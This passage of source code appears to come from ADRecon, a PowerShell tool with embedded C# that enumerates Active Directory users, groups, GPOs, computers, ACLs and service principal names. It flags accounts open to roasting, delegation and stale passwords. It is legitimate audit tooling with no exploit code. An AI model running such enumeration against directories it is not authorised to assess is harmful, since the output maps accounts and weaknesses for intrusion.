ObjectObj.Members.Add(new PSNoteProperty("InheritanceType", Rule.InheritanceType));
ObjectObj.Members.Add(new PSNoteProperty("PropagationFlags", Rule.PropagationFlags));
ObjectObj.Members.Add(new PSNoteProperty("ObjectType", Rule.ObjectType));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectType", Rule.InheritedObjectType));
ObjectObj.Members.Add(new PSNoteProperty("IdentityReference", Rule.IdentityReference));
ObjectObj.Members.Add(new PSNoteProperty("Owner", Owner));
ObjectObj.Members.Add(new PSNoteProperty("DistinguishedName", AdObject.Members["DistinguishedName"].Value));
DACLList.Add( ObjectObj );
}
}
return DACLList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class SACLRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdObject = (PSObject) record;
String Name = null;
String Type = null;
List<PSObject> SACLList = new List<PSObject>();
Name = Convert.ToString(AdObject.Members["Name"].Value);
switch (Convert.ToString(AdObject.Members["objectClass"].Value))
{
case "user":
Type = "User";
break;
case "computer":
Type = "Computer";
break;
case "group":
Type = "Group";
break;
case "container":
Type = "Container";
break;
case "groupPolicyContainer":
Type = "GPO";
Name = Convert.ToString(AdObject.Members["DisplayName"].Value);
break;
case "organizationalUnit":
Type = "OU";
break;
case "domainDNS":
Type = "Domain";
break;
default:
Type = Convert.ToString(AdObject.Members["objectClass"].Value);
break;
}
// When the user is not allowed to query the ntsecuritydescriptor attribute.
if (AdObject.Members["ntsecuritydescriptor"] != null)
{
DirectoryObjectSecurity DirObjSec = (DirectoryObjectSecurity) AdObject.Members["ntsecuritydescriptor"].Value;
AuthorizationRuleCollection AuditRules = (AuthorizationRuleCollection) DirObjSec.GetAuditRules(true,true,typeof(System.Security.Principal.NTAccount));
foreach (ActiveDirectoryAuditRule Rule in AuditRules)
{
PSObject ObjectObj = new PSObject();
ObjectObj.Members.Add(new PSNoteProperty("Name", CleanString(Name)));
ObjectObj.Members.Add(new PSNoteProperty("Type", Type));
ObjectObj.Members.Add(new PSNoteProperty("ObjectTypeName", ADWSClass.GUIDs[Convert.ToString(Rule.ObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectTypeName", ADWSClass.GUIDs[Convert.ToString(Rule.InheritedObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("ActiveDirectoryRights", Rule.ActiveDirectoryRights));
ObjectObj.Members.Add(new PSNoteProperty("IdentityReference", Rule.IdentityReference));
ObjectObj.Members.Add(new PSNoteProperty("AuditFlags", Rule.AuditFlags));
ObjectObj.Members.Add(new PSNoteProperty("ObjectFlags", Rule.ObjectFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceFlags", Rule.InheritanceFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceType", Rule.InheritanceType));
ObjectObj.Members.Add(new PSNoteProperty("Inherited", Rule.IsInherited));
ObjectObj.Members.Add(new PSNoteProperty("PropagationFlags", Rule.PropagationFlags));
ObjectObj.Members.Add(new PSNoteProperty("ObjectType", Rule.ObjectType));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectType", Rule.InheritedObjectType));
SACLList.Add( ObjectObj );
}
}
return SACLList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
//The interface and implmentation class used to handle the results (this implementation just writes the strings to a file)
interface IResultsHandler
{
void processResults(Object[] t);
Object[] finalise();
}
class SimpleResultsHandler : IResultsHandler
{
private Object lockObj = new Object();
private List<Object> processed = new List<Object>();
public SimpleResultsHandler()
{
}
public void processResults(Object[] results)
{
lock (lockObj)
{
if (results.Length != 0)
{
for (var i = 0; i < results.Length; i++)
{
processed.Add((PSObject)results[i]);
}
}
}
}
public Object[] finalise()
{
return processed.ToArray();
}
}
}
}
"@
$LDAPSource = @"
// Thanks Dennis Albuquerque for the C# multithreading code
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Threading;
using System.DirectoryServices;
using System.Security.Principal;
using System.Security.AccessControl;
using System.Management.Automation;
namespace ADRecon
{
public static class LDAPClass
{
private static DateTime Date1;
private static int PassMaxAge;
private static int DormantTimeSpan;
private static Dictionary<String, String> AdGroupDictionary = new Dictionary<String, String>();
private static String DomainSID;
private static Dictionary<String, String> AdGPODictionary = new Dictionary<String, String>();
private static Hashtable GUIDs = new Hashtable();
private static Dictionary<String, String> AdSIDDictionary = new Dictionary<String, String>();
private static readonly HashSet<string> Groups = new HashSet<string> ( new String[] {"268435456", "268435457", "536870912", "536870913"} );
private static readonly HashSet<string> Users = new HashSet<string> ( new String[] { "805306368" } );
private static readonly HashSet<string> Computers = new HashSet<string> ( new String[] { "805306369" }) ;
private static readonly HashSet<string> TrustAccounts = new HashSet<string> ( new String[] { "805306370" } );
[Flags]
//Values taken from https://support.microsoft.com/en-au/kb/305144
public enum UACFlags
{
SCRIPT = 1, // 0x1
ACCOUNTDISABLE = 2, // 0x2
HOMEDIR_REQUIRED = 8, // 0x8
LOCKOUT = 16, // 0x10
PASSWD_NOTREQD = 32, // 0x20
PASSWD_CANT_CHANGE = 64, // 0x40
ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80
TEMP_DUPLICATE_ACCOUNT = 256, // 0x100
NORMAL_ACCOUNT = 512, // 0x200
INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800
WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000
SERVER_TRUST_ACCOUNT = 8192, // 0x2000
DONT_EXPIRE_PASSWD = 65536, // 0x10000
MNS_LOGON_ACCOUNT = 131072, // 0x20000
SMARTCARD_REQUIRED = 262144, // 0x40000
TRUSTED_FOR_DELEGATION = 524288, // 0x80000
NOT_DELEGATED = 1048576, // 0x100000
USE_DES_KEY_ONLY = 2097152, // 0x200000
DONT_REQUIRE_PREAUTH = 4194304, // 0x400000
PASSWORD_EXPIRED = 8388608, // 0x800000
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 16777216, // 0x1000000
PARTIAL_SECRETS_ACCOUNT = 67108864 // 0x04000000
}
[Flags]
//Values taken from https://blogs.msdn.microsoft.com/openspecification/2011/05/30/windows-configurations-for-kerberos-supported-encryption-type/
public enum KerbEncFlags
{
ZERO = 0,
DES_CBC_CRC = 1, // 0x1
DES_CBC_MD5 = 2, // 0x2
RC4_HMAC = 4, // 0x4
AES128_CTS_HMAC_SHA1_96 = 8, // 0x18
AES256_CTS_HMAC_SHA1_96 = 16 // 0x10
}
[Flags]
//Values taken from https://support.microsoft.com/en-au/kb/305144
public enum GroupTypeFlags
{
GLOBAL_GROUP = 2, // 0x00000002
DOMAIN_LOCAL_GROUP = 4, // 0x00000004
LOCAL_GROUP = 4, // 0x00000004
UNIVERSAL_GROUP = 8, // 0x00000008
SECURITY_ENABLED = -2147483648 // 0x80000000
}
private static readonly Dictionary<String, String> Replacements = new Dictionary<String, String>()
{
//{System.Environment.NewLine, ""},
//{",", ";"},
{"\"", "'"}
};
public static String CleanString(Object StringtoClean)
{
// Remove extra spaces and new lines
String CleanedString = String.Join(" ", ((Convert.ToString(StringtoClean)).Split((string[]) null, StringSplitOptions.RemoveEmptyEntries)));
foreach (String Replacement in Replacements.Keys)
{
CleanedString = CleanedString.Replace(Replacement, Replacements[Replacement]);
}
return CleanedString;
}
public static int ObjectCount(Object[] ADRObject)
{
return ADRObject.Length;
}
public static bool LAPSCheck(Object[] AdComputers)
{
bool LAPS = false;
foreach (SearchResult AdComputer in AdComputers)
{
if (AdComputer.Properties["ms-mcs-admpwdexpirationtime"].Count == 1)
{
LAPS = true;
return LAPS;
}
}
return LAPS;
}
public static Object[] UserParser(Object[] AdUsers, DateTime Date1, int DormantTimeSpan, int PassMaxAge, int numOfThreads)
{
LDAPClass.Date1 = Date1;
LDAPClass.DormantTimeSpan = DormantTimeSpan;
LDAPClass.PassMaxAge = PassMaxAge;
Object[] ADRObj = runProcessor(AdUsers, numOfThreads, "Users");
return ADRObj;
}
public static Object[] UserSPNParser(Object[] AdUsers, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdUsers, numOfThreads, "UserSPNs");
return ADRObj;
}
public static Object[] GroupParser(Object[] AdGroups, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdGroups, numOfThreads, "Groups");
return ADRObj;
}
public static Object[] GroupMemberParser(Object[] AdGroups, Object[] AdGroupMembers, String DomainSID, int numOfThreads)
{
LDAPClass.AdGroupDictionary = new Dictionary<String, String>();
runProcessor(AdGroups, numOfThreads, "GroupsDictionary");
LDAPClass.DomainSID = DomainSID;
Object[] ADRObj = runProcessor(AdGroupMembers, numOfThreads, "GroupMembers");
return ADRObj;
}
public static Object[] OUParser(Object[] AdOUs, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdOUs, numOfThreads, "OUs");
return ADRObj;
}
public static Object[] GPOParser(Object[] AdGPOs, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdGPOs, numOfThreads, "GPOs");
return ADRObj;
}
public static Object[] SOMParser(Object[] AdGPOs, Object[] AdSOMs, int numOfThreads)
{
LDAPClass.AdGPODictionary = new Dictionary<String, String>();
runProcessor(AdGPOs, numOfThreads, "GPOsDictionary");
Object[] ADRObj = runProcessor(AdSOMs, numOfThreads, "SOMs");
return ADRObj;
}
public static Object[] PrinterParser(Object[] ADPrinters, int numOfThreads)
{
Object[] ADRObj = runProcessor(ADPrinters, numOfThreads, "Printers");
return ADRObj;
}
public static Object[] ComputerParser(Object[] AdComputers, DateTime Date1, int DormantTimeSpan, int PassMaxAge, int numOfThreads)
{
LDAPClass.Date1 = Date1;
LDAPClass.DormantTimeSpan = DormantTimeSpan;
LDAPClass.PassMaxAge = PassMaxAge;
Object[] ADRObj = runProcessor(AdComputers, numOfThreads, "Computers");
return ADRObj;
}
public static Object[] ComputerSPNParser(Object[] AdComputers, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdComputers, numOfThreads, "ComputerSPNs");
return ADRObj;
}
public static Object[] LAPSParser(Object[] AdComputers, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdComputers, numOfThreads, "LAPS");
return ADRObj;
}
public static Object[] DACLParser(Object[] ADObjects, Object PSGUIDs, int numOfThreads)
{
LDAPClass.AdSIDDictionary = new Dictionary<String, String>();
runProcessor(ADObjects, numOfThreads, "SIDDictionary");
LDAPClass.GUIDs = (Hashtable) PSGUIDs;
Object[] ADRObj = runProcessor(ADObjects, numOfThreads, "DACLs");
return ADRObj;
}
public static Object[] SACLParser(Object[] ADObjects, Object PSGUIDs, int numOfThreads)
{
LDAPClass.GUIDs = (Hashtable) PSGUIDs;
Object[] ADRObj = runProcessor(ADObjects, numOfThreads, "SACLs");
return ADRObj;
}
static Object[] runProcessor(Object[] arrayToProcess, int numOfThreads, string processorType)
{
int totalRecords = arrayToProcess.Length;
IRecordProcessor recordProcessor = recordProcessorFactory(processorType);
IResultsHandler resultsHandler = new SimpleResultsHandler ();
int numberOfRecordsPerThread = totalRecords / numOfThreads;
int remainders = totalRecords % numOfThreads;
Thread[] threads = new Thread[numOfThreads];
for (int i = 0; i < numOfThreads; i++)
{
int numberOfRecordsToProcess = numberOfRecordsPerThread;
if (i == (numOfThreads - 1))
{
//last thread, do the remaining records
numberOfRecordsToProcess += remainders;
}
//split the full array into chunks to be given to different threads
Object[] sliceToProcess = new Object[numberOfRecordsToProcess];
Array.Copy(arrayToProcess, i * numberOfRecordsPerThread, sliceToProcess, 0, numberOfRecordsToProcess);
ProcessorThread processorThread = new ProcessorThread(i, recordProcessor, resultsHandler, sliceToProcess);
threads[i] = new Thread(processorThread.processThreadRecords);
threads[i].Start();
}
foreach (Thread t in threads)
{
t.Join();
}
return resultsHandler.finalise();
}
static IRecordProcessor recordProcessorFactory(String name)
{
switch (name)
{
case "Users":
return new UserRecordProcessor();
case "UserSPNs":
return new UserSPNRecordProcessor();
case "Groups":
return new GroupRecordProcessor();
case "GroupsDictionary":
return new GroupRecordDictionaryProcessor();
case "GroupMembers":
return new GroupMemberRecordProcessor();
case "OUs":
return new OURecordProcessor();
case "GPOs":
return new GPORecordProcessor();
case "GPOsDictionary":
return new GPORecordDictionaryProcessor();
case "SOMs":
return new SOMRecordProcessor();
case "Printers":
return new PrinterRecordProcessor();
case "Computers":
return new ComputerRecordProcessor();
case "ComputerSPNs":
return new ComputerSPNRecordProcessor();
case "LAPS":
return new LAPSRecordProcessor();
case "SIDDictionary":
return new SIDRecordDictionaryProcessor();
case "DACLs":
return new DACLRecordProcessor();
case "SACLs":
return new SACLRecordProcessor();
}
throw new ArgumentException("Invalid processor type " + name);
}
class ProcessorThread
{
readonly int id;
readonly IRecordProcessor recordProcessor;
readonly IResultsHandler resultsHandler;
readonly Object[] objectsToBeProcessed;
public ProcessorThread(int id, IRecordProcessor recordProcessor, IResultsHandler resultsHandler, Object[] objectsToBeProcessed)
{
this.recordProcessor = recordProcessor;
this.id = id;
this.resultsHandler = resultsHandler;
this.objectsToBeProcessed = objectsToBeProcessed;
}
public void processThreadRecords()
{
for (int i = 0; i < objectsToBeProcessed.Length; i++)
{
Object[] result = recordProcessor.processRecord(objectsToBeProcessed[i]);
resultsHandler.processResults(result); //this is a thread safe operation
}
}
}
//The interface and implmentation class used to process a record (this implemmentation just returns a log type string)
interface IRecordProcessor
{
PSObject[] processRecord(Object record);
}
class UserRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdUser = (SearchResult) record;
bool? Enabled = null;
bool? CannotChangePassword = null;
bool? PasswordNeverExpires = null;
bool? AccountLockedOut = null;
bool? PasswordExpired = null;
bool? ReversiblePasswordEncryption = null;
bool? DelegationPermitted = null;
bool? SmartcardRequired = null;
bool? UseDESKeyOnly = null;
bool? PasswordNotRequired = null;
bool? TrustedforDelegation = null;
bool? TrustedtoAuthforDelegation = null;
bool? DoesNotRequirePreAuth = null;
bool? KerberosRC4 = null;
bool? KerberosAES128 = null;
bool? KerberosAES256 = null;
String DelegationType = null;
String DelegationProtocol = null;
String DelegationServices = null;
bool MustChangePasswordatLogon = false;
int? DaysSinceLastLogon = null;
int? DaysSinceLastPasswordChange = null;
int? AccountExpirationNumofDays = null;
bool PasswordNotChangedafterMaxAge = false;
bool NeverLoggedIn = false;
bool Dormant = false;
DateTime? LastLogonDate = null;
DateTime? PasswordLastSet = null;
DateTime? AccountExpires = null;
byte[] ntSecurityDescriptor = null;
bool DenyEveryone = false;
bool DenySelf = false;
String SIDHistory = "";
// When the user is not allowed to query the UserAccountControl attribute.
if (AdUser.Properties["useraccountcontrol"].Count != 0)
{
var userFlags = (UACFlags) AdUser.Properties["useraccountcontrol"][0];
Enabled = !((userFlags & UACFlags.ACCOUNTDISABLE) == UACFlags.ACCOUNTDISABLE);
PasswordNeverExpires = (userFlags & UACFlags.DONT_EXPIRE_PASSWD) == UACFlags.DONT_EXPIRE_PASSWD;
AccountLockedOut = (userFlags & UACFlags.LOCKOUT) == UACFlags.LOCKOUT;
DelegationPermitted = !((userFlags & UACFlags.NOT_DELEGATED) == UACFlags.NOT_DELEGATED);
SmartcardRequired = (userFlags & UACFlags.SMARTCARD_REQUIRED) == UACFlags.SMARTCARD_REQUIRED;
ReversiblePasswordEncryption = (userFlags & UACFlags.ENCRYPTED_TEXT_PASSWORD_ALLOWED) == UACFlags.ENCRYPTED_TEXT_PASSWORD_ALLOWED;
UseDESKeyOnly = (userFlags & UACFlags.USE_DES_KEY_ONLY) == UACFlags.USE_DES_KEY_ONLY;
PasswordNotRequired = (userFlags & UACFlags.PASSWD_NOTREQD) == UACFlags.PASSWD_NOTREQD;
PasswordExpired = (userFlags & UACFlags.PASSWORD_EXPIRED) == UACFlags.PASSWORD_EXPIRED;
TrustedforDelegation = (userFlags & UACFlags.TRUSTED_FOR_DELEGATION) == UACFlags.TRUSTED_FOR_DELEGATION;
TrustedtoAuthforDelegation = (userFlags & UACFlags.TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION) == UACFlags.TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION;
DoesNotRequirePreAuth = (userFlags & UACFlags.DONT_REQUIRE_PREAUTH) == UACFlags.DONT_REQUIRE_PREAUTH;
}
if (AdUser.Properties["msds-supportedencryptiontypes"].Count != 0)
{
var userKerbEncFlags = (KerbEncFlags) AdUser.Properties["msds-supportedencryptiontypes"][0];
if (userKerbEncFlags != KerbEncFlags.ZERO)
{
KerberosRC4 = (userKerbEncFlags & KerbEncFlags.RC4_HMAC) == KerbEncFlags.RC4_HMAC;
KerberosAES128 = (userKerbEncFlags & KerbEncFlags.AES128_CTS_HMAC_SHA1_96) == KerbEncFlags.AES128_CTS_HMAC_SHA1_96;
KerberosAES256 = (userKerbEncFlags & KerbEncFlags.AES256_CTS_HMAC_SHA1_96) == KerbEncFlags.AES256_CTS_HMAC_SHA1_96;
}
}
// When the user is not allowed to query the ntsecuritydescriptor attribute.
if (AdUser.Properties["ntsecuritydescriptor"].Count != 0)
{
ntSecurityDescriptor = (byte[]) AdUser.Properties["ntsecuritydescriptor"][0];
}
else
{
DirectoryEntry AdUserEntry = ((SearchResult)record).GetDirectoryEntry();
ntSecurityDescriptor = (byte[]) AdUserEntry.ObjectSecurity.GetSecurityDescriptorBinaryForm();
}
if (ntSecurityDescriptor != null)
{
DirectoryObjectSecurity DirObjSec = new ActiveDirectorySecurity();
DirObjSec.SetSecurityDescriptorBinaryForm(ntSecurityDescriptor);
AuthorizationRuleCollection AccessRules = (AuthorizationRuleCollection) DirObjSec.GetAccessRules(true,false,typeof(System.Security.Principal.NTAccount));
foreach (ActiveDirectoryAccessRule Rule in AccessRules)
{
if ((Convert.ToString(Rule.ObjectType)).Equals("ab721a53-1e2f-11d0-9819-00aa0040529b"))
{
if (Rule.AccessControlType.ToString() == "Deny")
{
String ObjectName = Convert.ToString(Rule.IdentityReference);
if (ObjectName == "Everyone")
{
DenyEveryone = true;
}
if (ObjectName == "NT AUTHORITY\\SELF")
{
DenySelf = true;
}
}
}
}
if (DenyEveryone && DenySelf)
{
CannotChangePassword = true;
}
else
{
CannotChangePassword = false;
}
}
if (AdUser.Properties["lastlogontimestamp"].Count != 0)
{
LastLogonDate = DateTime.FromFileTime((long)(AdUser.Properties["lastlogontimestamp"][0]));
DaysSinceLastLogon = Math.Abs((Date1 - (DateTime)LastLogonDate).Days);
if (DaysSinceLastLogon > DormantTimeSpan)
{
Dormant = true;
}
}
else
{
NeverLoggedIn = true;
}
if (AdUser.Properties["pwdLastSet"].Count != 0)
{
if (Convert.ToString(AdUser.Properties["pwdlastset"][0]) == "0")
{
if ((bool) PasswordNeverExpires == false)
{
MustChangePasswordatLogon = true;
}
}
else
{
PasswordLastSet = DateTime.FromFileTime((long)(AdUser.Properties["pwdlastset"][0]));
DaysSinceLastPasswordChange = Math.Abs((Date1 - (DateTime)PasswordLastSet).Days);
if (DaysSinceLastPasswordChange > PassMaxAge)
{
PasswordNotChangedafterMaxAge = true;
}
}
}
if ((Int64) AdUser.Properties["accountExpires"][0] != (Int64) 9223372036854775807)
{
if ((Int64) AdUser.Properties["accountExpires"][0] != (Int64) 0)
{
try
{
//https://msdn.microsoft.com/en-us/library/ms675098(v=vs.85).aspx
AccountExpires = DateTime.FromFileTime((long)(AdUser.Properties["accountExpires"][0]));
AccountExpirationNumofDays = ((int)((DateTime)AccountExpires - Date1).Days);
}
catch //(Exception e)
{
// Console.WriteLine("{0} Exception caught.", e);
}
}
}
if ((bool) TrustedforDelegation)
{
DelegationType = "Unconstrained";
DelegationServices = "Any";
}
if (AdUser.Properties["msDS-AllowedToDelegateTo"].Count >= 1)
{
DelegationType = "Constrained";
for (int i = 0; i < AdUser.Properties["msDS-AllowedToDelegateTo"].Count; i++)
{
var delegateto = AdUser.Properties["msDS-AllowedToDelegateTo"][i];
DelegationServices = DelegationServices + "," + Convert.ToString(delegateto);
}
DelegationServices = DelegationServices.TrimStart(',');
}
if ((bool) TrustedtoAuthforDelegation)
{
DelegationProtocol = "Any";
}
else if (DelegationType != null)
{
DelegationProtocol = "Kerberos";
}
if (AdUser.Properties["sidhistory"].Count >= 1)
{
string sids = "";
for (int i = 0; i < AdUser.Properties["sidhistory"].Count; i++)
{
var history = AdUser.Properties["sidhistory"][i];
sids = sids + "," + Convert.ToString(new SecurityIdentifier((byte[])history, 0));
}
SIDHistory = sids.TrimStart(',');
}
PSObject UserObj = new PSObject();
UserObj.Members.Add(new PSNoteProperty("UserName", (AdUser.Properties["samaccountname"].Count != 0 ? AdUser.Properties["samaccountname"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("Name", (AdUser.Properties["name"].Count != 0 ? CleanString(AdUser.Properties["name"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Enabled", Enabled));
UserObj.Members.Add(new PSNoteProperty("Must Change Password at Logon", MustChangePasswordatLogon));
UserObj.Members.Add(new PSNoteProperty("Cannot Change Password", CannotChangePassword));
UserObj.Members.Add(new PSNoteProperty("Password Never Expires", PasswordNeverExpires));
UserObj.Members.Add(new PSNoteProperty("Reversible Password Encryption", ReversiblePasswordEncryption));
UserObj.Members.Add(new PSNoteProperty("Smartcard Logon Required", SmartcardRequired));
UserObj.Members.Add(new PSNoteProperty("Delegation Permitted", DelegationPermitted));
UserObj.Members.Add(new PSNoteProperty("Kerberos DES Only", UseDESKeyOnly));
UserObj.Members.Add(new PSNoteProperty("Kerberos RC4", KerberosRC4));
UserObj.Members.Add(new PSNoteProperty("Kerberos AES-128bit", KerberosAES128));
UserObj.Members.Add(new PSNoteProperty("Kerberos AES-256bit", KerberosAES256));
UserObj.Members.Add(new PSNoteProperty("Does Not Require Pre Auth", DoesNotRequirePreAuth));
UserObj.Members.Add(new PSNoteProperty("Never Logged in", NeverLoggedIn));
UserObj.Members.Add(new PSNoteProperty("Logon Age (days)", DaysSinceLastLogon));
UserObj.Members.Add(new PSNoteProperty("Password Age (days)", DaysSinceLastPasswordChange));
UserObj.Members.Add(new PSNoteProperty("Dormant (> " + DormantTimeSpan + " days)", Dormant));
UserObj.Members.Add(new PSNoteProperty("Password Age (> " + PassMaxAge + " days)", PasswordNotChangedafterMaxAge));
UserObj.Members.Add(new PSNoteProperty("Account Locked Out", AccountLockedOut));
UserObj.Members.Add(new PSNoteProperty("Password Expired", PasswordExpired));
UserObj.Members.Add(new PSNoteProperty("Password Not Required", PasswordNotRequired));
UserObj.Members.Add(new PSNoteProperty("Delegation Type", DelegationType));
UserObj.Members.Add(new PSNoteProperty("Delegation Protocol", DelegationProtocol));
UserObj.Members.Add(new PSNoteProperty("Delegation Services", DelegationServices));
UserObj.Members.Add(new PSNoteProperty("Logon Workstations", (AdUser.Properties["userworkstations"].Count != 0 ? AdUser.Properties["userworkstations"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("AdminCount", (AdUser.Properties["admincount"].Count != 0 ? AdUser.Properties["admincount"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("Primary GroupID", (AdUser.Properties["primarygroupid"].Count != 0 ? AdUser.Properties["primarygroupid"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("SID", Convert.ToString(new SecurityIdentifier((byte[])AdUser.Properties["objectSID"][0], 0))));
UserObj.Members.Add(new PSNoteProperty("SIDHistory", SIDHistory));
UserObj.Members.Add(new PSNoteProperty("Description", (AdUser.Properties["Description"].Count != 0 ? CleanString(AdUser.Properties["Description"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Title", (AdUser.Properties["Title"].Count != 0 ? CleanString(AdUser.Properties["Title"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Department", (AdUser.Properties["Department"].Count != 0 ? CleanString(AdUser.Properties["Department"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Company", (AdUser.Properties["Company"].Count != 0 ? CleanString(AdUser.Properties["Company"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Manager", (AdUser.Properties["Manager"].Count != 0 ? CleanString(AdUser.Properties["Manager"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Info", (AdUser.Properties["info"].Count != 0 ? CleanString(AdUser.Properties["info"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Last Logon Date", LastLogonDate));
UserObj.Members.Add(new PSNoteProperty("Password LastSet", PasswordLastSet));
UserObj.Members.Add(new PSNoteProperty("Account Expiration Date", AccountExpires));
UserObj.Members.Add(new PSNoteProperty("Account Expiration (days)", AccountExpirationNumofDays));
UserObj.Members.Add(new PSNoteProperty("Mobile", (AdUser.Properties["mobile"].Count != 0 ? CleanString(AdUser.Properties["mobile"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Email", (AdUser.Properties["mail"].Count != 0 ? CleanString(AdUser.Properties["mail"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("HomeDirectory", (AdUser.Properties["homedirectory"].Count != 0 ? AdUser.Properties["homedirectory"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("ProfilePath", (AdUser.Properties["profilepath"].Count != 0 ? AdUser.Properties["profilepath"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("ScriptPath", (AdUser.Properties["scriptpath"].Count != 0 ? AdUser.Properties["scriptpath"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("UserAccountControl", (AdUser.Properties["useraccountcontrol"].Count != 0 ? AdUser.Properties["useraccountcontrol"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("First Name", (AdUser.Properties["givenName"].Count != 0 ? CleanString(AdUser.Properties["givenName"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Middle Name", (AdUser.Properties["middleName"].Count != 0 ? CleanString(AdUser.Properties["middleName"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Last Name", (AdUser.Properties["sn"].Count != 0 ? CleanString(AdUser.Properties["sn"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("Country", (AdUser.Properties["c"].Count != 0 ? CleanString(AdUser.Properties["c"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("whenCreated", (AdUser.Properties["whencreated"].Count != 0 ? AdUser.Properties["whencreated"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("whenChanged", (AdUser.Properties["whenchanged"].Count != 0 ? AdUser.Properties["whenchanged"][0] : "")));
UserObj.Members.Add(new PSNoteProperty("DistinguishedName", (AdUser.Properties["distinguishedname"].Count != 0 ? CleanString(AdUser.Properties["distinguishedname"][0]) : "")));
UserObj.Members.Add(new PSNoteProperty("CanonicalName", (AdUser.Properties["canonicalname"].Count != 0 ? AdUser.Properties["canonicalname"][0] : "")));
return new PSObject[] { UserObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class UserSPNRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdUser = (SearchResult) record;
List<PSObject> SPNList = new List<PSObject>();
bool? Enabled = null;
String Memberof = null;
DateTime? PasswordLastSet = null;
if (AdUser.Properties["pwdlastset"].Count != 0)
{
if (Convert.ToString(AdUser.Properties["pwdlastset"][0]) != "0")
{
PasswordLastSet = DateTime.FromFileTime((long)(AdUser.Properties["pwdLastSet"][0]));
}
}
// When the user is not allowed to query the UserAccountControl attribute.
if (AdUser.Properties["useraccountcontrol"].Count != 0)
{
var userFlags = (UACFlags) AdUser.Properties["useraccountcontrol"][0];
Enabled = !((userFlags & UACFlags.ACCOUNTDISABLE) == UACFlags.ACCOUNTDISABLE);
}
String Description = (AdUser.Properties["Description"].Count != 0 ? CleanString(AdUser.Properties["Description"][0]) : "");
String PrimaryGroupID = (AdUser.Properties["primarygroupid"].Count != 0 ? Convert.ToString(AdUser.Properties["primarygroupid"][0]) : "");
if (AdUser.Properties["memberof"].Count != 0)
{
foreach (String Member in AdUser.Properties["memberof"])
{
Memberof = Memberof + "," + ((Convert.ToString(Member)).Split(',')[0]).Split('=')[1];
}
Memberof = Memberof.TrimStart(',');
}
foreach (String SPN in AdUser.Properties["serviceprincipalname"])
{
String[] SPNArray = SPN.Split('/');
PSObject UserSPNObj = new PSObject();
UserSPNObj.Members.Add(new PSNoteProperty("Name", AdUser.Properties["name"][0]));
UserSPNObj.Members.Add(new PSNoteProperty("Username", AdUser.Properties["samaccountname"][0]));
UserSPNObj.Members.Add(new PSNoteProperty("Enabled", Enabled));
UserSPNObj.Members.Add(new PSNoteProperty("Service", SPNArray[0]));
UserSPNObj.Members.Add(new PSNoteProperty("Host", SPNArray[1]));
UserSPNObj.Members.Add(new PSNoteProperty("Password Last Set", PasswordLastSet));
UserSPNObj.Members.Add(new PSNoteProperty("Description", Description));
UserSPNObj.Members.Add(new PSNoteProperty("Primary GroupID", PrimaryGroupID));
UserSPNObj.Members.Add(new PSNoteProperty("Memberof", Memberof));
SPNList.Add( UserSPNObj );
}
return SPNList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GroupRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdGroup = (SearchResult) record;
String ManagedByValue = AdGroup.Properties["managedby"].Count != 0 ? Convert.ToString(AdGroup.Properties["managedby"][0]) : "";
String ManagedBy = "";
String GroupCategory = null;
String GroupScope = null;
String SIDHistory = "";
if (AdGroup.Properties["managedBy"].Count != 0)
{
ManagedBy = (ManagedByValue.Split(',')[0]).Split('=')[1];
}
if (AdGroup.Properties["grouptype"].Count != 0)
{
var groupTypeFlags = (GroupTypeFlags) AdGroup.Properties["grouptype"][0];
GroupCategory = (groupTypeFlags & GroupTypeFlags.SECURITY_ENABLED) == GroupTypeFlags.SECURITY_ENABLED ? "Security" : "Distribution";
